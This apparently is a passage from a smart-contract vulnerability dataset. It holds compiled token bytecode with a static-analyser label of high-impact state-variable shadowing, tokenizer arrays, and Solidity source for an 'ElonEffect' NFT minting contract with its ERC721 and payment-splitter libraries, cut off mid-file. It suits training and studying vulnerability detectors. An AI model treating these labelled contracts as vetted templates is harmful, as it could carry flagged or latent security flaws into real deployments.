1815260cc6020908152604080832073ffffffffffffffffffffffffffffffffffffffff89168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b60ca6020526000908152604090205460ff1681565b33600090815260ca602052604090205460ff166108e257600080fd5b60c9546108ef90826113c8565b60c95573ffffffffffffffffffffffffffffffffffffffff8216600090815260cb6020526040902054610922908261137f565b73ffffffffffffffffffffffffffffffffffffffff8316600081815260cb602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b73ffffffffffffffffffffffffffffffffffffffff16600090815260cb602052604090205490565b6109b761143c565b60975473ffffffffffffffffffffffffffffffffffffffff908116911614610a4057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60975460405160009173ffffffffffffffffffffffffffffffffffffffff16907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3609780547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b600054610100900460ff1680610ac85750610ac8611440565b80610ad6575060005460ff16155b610b2b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180611c5b602e913960400191505060405180910390fd5b600054610100900460ff16158015610b9157600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff909116610100171660011790555b610b99611446565b610c0d6040518060400160405280600481526020017f47616961000000000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f4761696100000000000000000000000000000000000000000000000000000000815250611569565b610c176009611691565b6802b5e3af16b188000060c981905533600081815260cb60209081526040808320859055805194855251929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a38015610c9e57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1690555b50565b60975473ffffffffffffffffffffffffffffffffffffffff1690565b60698054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105bc5780601f10610591576101008083540402835291602001916105bc565b33600090815260ca602052604090205460ff16610d5857600080fd5b73ffffffffffffffffffffffffffffffffffffffff8216600090815260cb6020526040902054811115610dd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c3a6021913960400191505060405180910390fd5b60c954610de3908261137f565b60c95573ffffffffffffffffffffffffffffffffffffffff8216600090815260cb6020526040902054610e16908261137f565b73ffffffffffffffffffffffffffffffffffffffff8316600081815260cb60209081526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b33600090815260cc6020908152604080832073ffffffffffffffffffffffffffffffffffffffff86168452909152812054808310610ee85733600090815260cc6020908152604080832073ffffffffffffffffffffffffffffffffffffffff88168452909152812055610f24565b610ef2818461137f565b33600090815260cc6020908152604080832073ffffffffffffffffffffffffffffffffffffffff891684529091529020555b33600081815260cc6020908152604080832073ffffffffffffffffffffffffffffffffffffffff89168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60008273ffffffffffffffffffffffffffffffffffffffff8116610fba57600080fd5b73ffffffffffffffffffffffffffffffffffffffff8116301415610fdd57600080fd5b33600090815260cb6020526040902054610ff7908461137f565b33600090815260cb60205260408082209290925573ffffffffffffffffffffffffffffffffffffffff86168152205461103090846113c8565b73ffffffffffffffffffffffffffffffffffffffff8516600081815260cb60209081526040918290209390935580518681529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060019392505050565b6110a461143c565b60975473ffffffffffffffffffffffffffffffffffffffff90811691161461112d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8216600081815260ca602090815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001685151590811790915582519384529083015280517f95c2566582ec8c43618af2718f6c3e800837fa9418ed475fac1addbb2159e6029281900390910190a15050565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260cc6020908152604080832093909416825291909152205490565b6111fc61143c565b60975473ffffffffffffffffffffffffffffffffffffffff90811691161461128557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff81166112f1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611c146026913960400191505060405180910390fd5b60975460405173ffffffffffffffffffffffffffffffffffffffff8084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3609780547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60006113c183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116c5565b9392505050565b6000828201838110156113c157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3390565b303b1590565b600054610100900460ff168061145f575061145f611440565b8061146d575060005460ff16155b6114c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180611c5b602e913960400191505060405180910390fd5b600054610100900460ff1615801561152857600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff909116610100171660011790555b611530611776565b611538611888565b8015610c9e57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16905550565b600054610100900460ff16806115825750611582611440565b80611590575060005460ff16155b6115e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180611c5b602e913960400191505060405180910390fd5b600054610100900460ff1615801561164b57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff909116610100171660011790555b611653611776565b61165d8383611a18565b801561168c57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1690555b505050565b606a80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660ff92909216919091179055565b6000818484111561176e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561173357818101518382015260200161171b565b50505050905090810190601f1680156117605780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600054610100900460ff168061178f575061178f611440565b8061179d575060005460ff16155b6117f2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180611c5b602e913960400191505060405180910390fd5b600054610100900460ff1615801561153857600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff909116610100171660011790558015610c9e57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16905550565b600054610100900460ff16806118a157506118a1611440565b806118af575060005460ff16155b611904576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180611c5b602e913960400191505060405180910390fd5b600054610100900460ff1615801561196a57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff909116610100171660011790555b600061197461143c565b609780547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508015610c9e57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16905550565b600054610100900460ff1680611a315750611a31611440565b80611a3f575060005460ff16155b611a94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180611c5b602e913960400191505060405180910390fd5b600054610100900460ff16158015611afa57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff909116610100171660011790555b8251611b0d906068906020860190611b80565b508151611b21906069906020850190611b80565b50606a80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166012179055801561168c57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff169055505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611bc157805160ff1916838001178555611bee565b82800160010185558215611bee579182015b82811115611bee578251825591602001919060010190611bd3565b50611bfa929150611bfe565b5090565b5b80821115611bfa5760008155600101611bff56fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373696e73756666696369656e7420476169612062616c616e636520746f206275726e436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a6564a264697066735822122079b64654283170d4d9c2380ce3cf56fbae509e9a38fec8e0c166831d6e2fe6e864736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 2581, 2063, 2692, 18827, 2546, 2620, 17914, 2475, 2050, 2575, 10322, 2683, 2629, 2050, 2575, 2487, 8586, 2629, 8586, 2575, 27421, 2850, 2278, 21486, 2475, 19797, 2063, 23833, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 28855, 14820, 1011, 7427, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 28547, 2788, 7868, 2008, 2019, 2058, 12314, 13275, 2019, 1008, 7561, 1010, 2029, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,852
0x977e25619f0068a9150e2a99AbEBceE559133ae1
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Strings.sol"; import './Blimpie/Delegated.sol'; import './Blimpie/ERC721Batch.sol'; import './Blimpie/Signed.sol'; import './Blimpie/PaymentSplitterMod.sol'; contract ElonEffect is Delegated, ERC721Batch, PaymentSplitterMod, Signed { using Strings for uint256; uint public MAX_MINT = 12; uint public MAX_ORDER = 12; uint public MAX_SUPPLY = 8888; uint public PRICE = 0.07 ether; mapping(address => uint) public claims; bool public isClaimActive = false; bool public isPresaleActive = false; bool public isMainsaleActive = false; string private _tokenURIPrefix; string private _tokenURISuffix; address[] private _accounts = [ 0xf10FBCe641c53E823FaFA574C7F08AC2EbaD2B84, 0x51c85535039CbC1EbC7f4255c4dB4c9dAeEb6eEf, 0xe361fE67211aD25eBe4305c3343013F85Ce96005, 0x1f01ee624c646Bf9f510d004BdB90d53Bed24642, 0x2669Ac0238c3f0Fd48ac5D5381A95B8689879843, 0xe94bE7b9400FFD079f1CD1EcF64c41566bc09E96, 0xc9e8962B1f2c7C196e8dE40923fd83dBD7d9CF53, 0x90270c8DCEffD69a98DEB0A8C73c5D3e1a1623ca, 0x205BCC1d3ad128a2B9A6147E4c0604d0ed38a5D2 ]; uint[] private _shares = [ 5.00 * 1e3, 3.00 * 1e3, 5.00 * 1e3, 2.50 * 1e3, 2.50 * 1e3, 0.50 * 1e3, 0.50 * 1e3, 0.50 * 1e3, 33.50 * 1e3 ]; constructor() ERC721B("Elon Effect", "EE", 0) PaymentSplitterMod( _accounts, _shares ){ setSignedConfig( 'Elon in full effect', 0xFe8148c69Ce6c25dC16659675B152ed7413D5465 ); } //safety first fallback() external payable {} //view: IERC721Metadata function tokenURI( uint tokenId ) external view override returns( string memory ){ require(_exists(tokenId), "ElonEffect: query for nonexistent token"); return string(abi.encodePacked(_tokenURIPrefix, tokenId.toString(), _tokenURISuffix)); } //payable function claim() external { require( isClaimActive, "ElonEffect: claims are not active" ); uint supply = totalSupply(); uint quantity = claims[ msg.sender ]; require( supply + quantity <= MAX_SUPPLY, "ElonEffect: claim exceeds supply" ); claims[ msg.sender ] = 0; owners[msg.sender].balance += uint16(quantity); for( uint i; i < quantity; ++i ){ _mint( msg.sender, supply++ ); } } function mint( uint quantity, bytes calldata signature ) external payable { require( 0 < quantity && quantity <= MAX_ORDER, "ElonEffect: order too big" ); require( msg.value >= PRICE * quantity, "ElonEffect: ether sent is not correct" ); if( isMainsaleActive ){ //no-op } else if( isPresaleActive ){ require( isAuthorizedSigner( quantity.toString(), signature ), "ElonEffect: Account not authorized" ); } else{ revert( "ElonEffect: sale is not active" ); } uint supply = totalSupply(); require( supply + quantity <= MAX_SUPPLY, "ElonEffect: mint/order exceeds supply" ); owners[msg.sender].balance += uint16(quantity); owners[msg.sender].purchased += uint16(quantity); for( uint i; i < quantity; ++i ){ _mint( msg.sender, supply++ ); } } //onlyDelegates function mintTo(uint[] calldata quantity, address[] calldata recipient) external payable onlyDelegates{ require(quantity.length == recipient.length, "ElonEffect: must provide equal quantities and recipients" ); unchecked{ uint totalQuantity; for(uint i; i < quantity.length; ++i){ totalQuantity += quantity[i]; } uint supply = totalSupply(); require( supply + totalQuantity <= MAX_SUPPLY, "ElonEffect: mint/order exceeds supply" ); for(uint i; i < recipient.length; ++i){ if( quantity[i] > 0 ){ owners[recipient[i]].balance += uint16(quantity[i]); for( uint j; j < quantity[i]; ++j ){ _mint( recipient[i], supply++ ); } } } } } function setActive(bool isClaimActive_, bool isPresaleActive_, bool isMainsaleActive_) external onlyDelegates{ isClaimActive = isClaimActive_; isPresaleActive = isPresaleActive_; isMainsaleActive = isMainsaleActive_; } function setBaseURI(string calldata _newPrefix, string calldata _newSuffix) external onlyDelegates{ _tokenURIPrefix = _newPrefix; _tokenURISuffix = _newSuffix; } function setClaims(address[] calldata accounts, uint[] calldata quantities) external onlyDelegates{ require( accounts.length == quantities.length, "ElonEffect: must have equal accounts and quantities" ); for(uint i; i < accounts.length; ++i ){ claims[ accounts[i] ] = quantities[i]; } } function setConfig(uint maxOrder, uint maxSupply, uint maxMint, uint price) external onlyDelegates{ require( maxSupply >= totalSupply(), "ElonEffect: specified supply is lower than current balance" ); MAX_ORDER = maxOrder; MAX_SUPPLY = maxSupply; MAX_MINT = maxMint; PRICE = price; } //private function _mint( address to, uint tokenId ) internal override { tokens.push( Token( to ) ); emit Transfer( address(0), to, tokenId ); } } // SPDX-License-Identifier: BSD-3 pragma solidity ^0.8.0; import './Delegated.sol'; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; contract Signed is Delegated{ using ECDSA for bytes32; string internal _secret; address internal _signer; function setSignedConfig( string memory secret, address signer ) public onlyOwner{ _secret = secret; _signer = signer; } function createHash( string memory data ) internal view returns ( bytes32 ){ return keccak256( abi.encodePacked( address(this), msg.sender, data, _secret ) ); } function getSigner( bytes32 hash, bytes memory signature ) internal pure returns( address ){ return hash.toEthSignedMessageHash().recover( signature ); } function isAuthorizedSigner( string memory data, bytes calldata signature ) internal view virtual returns( bool ){ address extracted = getSigner( createHash( data ), signature ); return extracted == _signer; } function verifySignature( string memory data, bytes calldata signature ) internal view { require( isAuthorizedSigner( data, signature ), "Signature verification failed" ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. */ contract PaymentSplitterMod is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + _totalReleased; uint256 payment = (totalReceived * _shares[account]) / _totalShares - _released[account]; require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] = _released[account] + payment; _totalReleased = _totalReleased + payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } function _addPayee(address account, uint256 shares_) internal { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } function _resetCounters() internal { _totalReleased = 0; for(uint i; i < _payees.length; ++i ){ _released[ _payees[i] ] = 0; } } function _setPayee( uint index, address account, uint newShares ) internal { _totalShares = _totalShares - _shares[ account ] + newShares; _shares[ account ] = newShares; _payees[ index ] = account; } } // SPDX-License-Identifier: BSD-3-Clause pragma solidity ^0.8.0; interface IERC721Batch { function isOwnerOf( address account, uint[] calldata tokenIds ) external view returns( bool ); function transferBatch( address from, address to, uint[] calldata tokenIds, bytes calldata data ) external; function walletOfOwner( address account ) external view returns( uint[] memory ); } // SPDX-License-Identifier: BSD-3-Clause pragma solidity ^0.8.0; /**************************************** * @author: squeebo_nft * **************************************** * Blimpie-ERC721 provides low-gas * * mints + transfers * ****************************************/ import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "./ERC721B.sol"; abstract contract ERC721EnumerableB is ERC721B, IERC721Enumerable { function supportsInterface( bytes4 interfaceId ) public view virtual override(IERC165, ERC721B) returns( bool isSupported ){ return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } function tokenOfOwnerByIndex( address owner, uint index ) external view override returns( uint tokenId ){ uint count; for( uint i; i < tokens.length; ++i ){ if( owner == tokens[i].owner ){ if( count == index ) return i; else ++count; } } revert("ERC721EnumerableB: owner index out of bounds"); } function tokenByIndex( uint index ) external view override returns( uint tokenId ){ require( index < totalSupply(), "ERC721EnumerableB: query for nonexistent token"); return index + _offset; } function totalSupply() public view override( ERC721B, IERC721Enumerable ) returns( uint ){ return ERC721B.totalSupply(); } } // SPDX-License-Identifier: BSD-3-Clause pragma solidity ^0.8.0; /**************************************** * @author: squeebo_nft * **************************************** * Blimpie-FF721 provides low-gas * * mints + transfers * ****************************************/ import "../Blimpie/IERC721Batch.sol"; import "./ERC721EnumerableB.sol"; abstract contract ERC721Batch is ERC721EnumerableB, IERC721Batch { function isOwnerOf( address account, uint[] calldata tokenIds ) external view override returns( bool ){ for(uint i; i < tokenIds.length; ++i ){ if( account != tokens[ tokenIds[i] ].owner ) return false; } return true; } function transferBatch( address from, address to, uint[] calldata tokenIds, bytes calldata data ) external override{ for(uint i; i < tokenIds.length; ++i ){ safeTransferFrom( from, to, tokenIds[i], data ); } } function walletOfOwner( address account ) external view override returns( uint[] memory wallet ){ uint count; uint quantity = owners[ account ].balance; wallet = new uint[]( quantity ); for( uint i; i < tokens.length; ++i ){ if( account == tokens[i].owner ){ wallet[ count++ ] = i; if( count == quantity ) break; } } return wallet; } } // SPDX-License-Identifier: BSD-3-Clause pragma solidity ^0.8.0; /**************************************** * @author: squeebo_nft * **************************************** * Blimpie-FF721 provides low-gas * * mints + transfers * ****************************************/ import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; abstract contract ERC721B is Context, ERC165, IERC721, IERC721Metadata { using Address for address; struct Owner{ uint16 balance; uint16 purchased; } struct Token{ address owner; } Token[] public tokens; mapping(address => Owner) public owners; uint internal _burned; uint internal _offset; string private _name; string private _symbol; mapping(uint => address) internal _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_, uint offset_ ){ _name = name_; _symbol = symbol_; _offset = offset_; for(uint i; i < _offset; ++i ){ tokens.push(); } } //public view function balanceOf(address owner) external view override returns( uint balance ){ return owners[owner].balance; } function name() external view override returns( string memory name_ ){ return _name; } function ownerOf(uint tokenId) public view override returns( address owner ){ require(_exists(tokenId), "ERC721B: query for nonexistent token"); return tokens[tokenId].owner; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns( bool isSupported ){ return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function symbol() external view override returns( string memory symbol_ ){ return _symbol; } function totalSupply() public view virtual returns (uint) { return tokens.length - (_burned + _offset); } //approvals function approve(address to, uint tokenId) external override { address owner = ownerOf(tokenId); require(to != owner, "ERC721B: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721B: caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint tokenId) public view override returns( address approver ){ require(_exists(tokenId), "ERC721: query for nonexistent token"); return _tokenApprovals[tokenId]; } function isApprovedForAll(address owner, address operator) public view override returns( bool isApproved ){ return _operatorApprovals[owner][operator]; } function setApprovalForAll(address operator, bool approved) external override { _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } //transfers function safeTransferFrom(address from, address to, uint tokenId) external override{ safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint tokenId, bytes memory _data) public override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721B: caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function transferFrom(address from, address to, uint tokenId) external override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721B: caller is not owner nor approved"); _transfer(from, to, tokenId); } //internal function _approve(address to, uint tokenId) internal{ _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } function _beforeTokenTransfer(address from, address to) internal virtual { if( from != address(0) ) --owners[from].balance; if( to != address(0) ) ++owners[to].balance; } function _burn(uint tokenId) internal { address owner = ownerOf(tokenId); _beforeTokenTransfer(owner, address(0)); // Clear approvals _approve(address(0), tokenId); tokens[tokenId].owner = address(0); emit Transfer(owner, address(0), tokenId); } function _checkOnERC721Received(address from, address to, uint tokenId, bytes memory _data) private returns( bool ){ if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721B: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _exists(uint tokenId) internal view returns( bool ){ return tokenId < tokens.length && tokens[tokenId].owner != address(0); } function _isApprovedOrOwner(address spender, uint tokenId) internal view returns( bool isApproved ){ require(_exists(tokenId), "ERC721B: query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _mint(address to, uint tokenId) internal virtual; function _next() internal view virtual returns(uint){ return tokens.length + _offset; } function _safeMint(address to, uint tokenId) internal { _safeMint(to, tokenId, ""); } function _safeMint(address to, uint tokenId, bytes memory _data) internal { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721B: transfer to non ERC721Receiver implementer" ); } function _safeTransfer(address from, address to, uint tokenId, bytes memory _data) internal{ _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721B: transfer to non ERC721Receiver implementer"); } function _transfer(address from, address to, uint tokenId) internal { require(ownerOf(tokenId) == from, "ERC721B: transfer of token that is not own"); _beforeTokenTransfer(from, to); // Clear approvals from the previous owner _approve(address(0), tokenId); tokens[tokenId].owner = to; emit Transfer(from, to, tokenId); } } // SPDX-License-Identifier: BSD-3-Clause pragma solidity ^0.8.0; /*********************** * @author: squeebo_nft * ************************/ import "@openzeppelin/contracts/access/Ownable.sol"; contract Delegated is Ownable{ mapping(address => bool) internal _delegates; constructor(){ _delegates[owner()] = true; } modifier onlyDelegates { require(_delegates[msg.sender], "Invalid delegate" ); _; } //onlyOwner function isDelegate( address addr ) external view onlyOwner returns ( bool ){ return _delegates[addr]; } function setDelegate( address addr, bool isDelegate_ ) external onlyOwner{ _delegates[addr] = isDelegate_; } function transferOwnership(address newOwner) public virtual override onlyOwner { _delegates[newOwner] = true; super.transferOwnership( newOwner ); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed 